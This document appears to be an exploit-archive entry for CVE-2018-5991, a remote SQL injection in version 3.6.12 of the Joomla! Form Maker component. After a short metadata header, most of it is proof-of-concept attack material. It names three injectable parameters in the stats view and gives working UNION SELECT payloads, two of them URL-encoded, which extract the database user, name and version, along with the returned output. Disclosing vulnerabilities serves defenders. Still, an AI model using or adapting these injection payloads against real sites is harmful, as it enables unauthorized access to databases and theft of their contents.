Joomla! Form Maker component version 3.6.12 suffers from a remote SQL injection vulnerability.
5ea5e40c1225570a720c0deaaf4b801f# # # #
# Exploit Title: Joomla! Component Form Maker 3.6.12 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://demo.web-dorado.com/
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/form-maker/
# Version: 3.6.12
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5991
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# Exploit Author: Ihsan Sencan
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# POC:
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# 1)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&id=[SQL]
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# 2)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=[SQL]
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# 3)
# http://localhost/[PATH]/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=[SQL]
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1
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&id=1'++UNION+ALL+SELECT+CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())--+-
root@localhost : joomla375 : 10.1.21-MariaDB
2
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&from=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20
root@localhost : joomla375 : 10.1.21-MariaDB
3
http://localhost/Joomla375/index.php?option=com_formmaker&view=stats&form_id=1&id=1&to=1%27%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2d%2d%20%2d%20
root@localhost : joomla375 : 10.1.21-MariaDB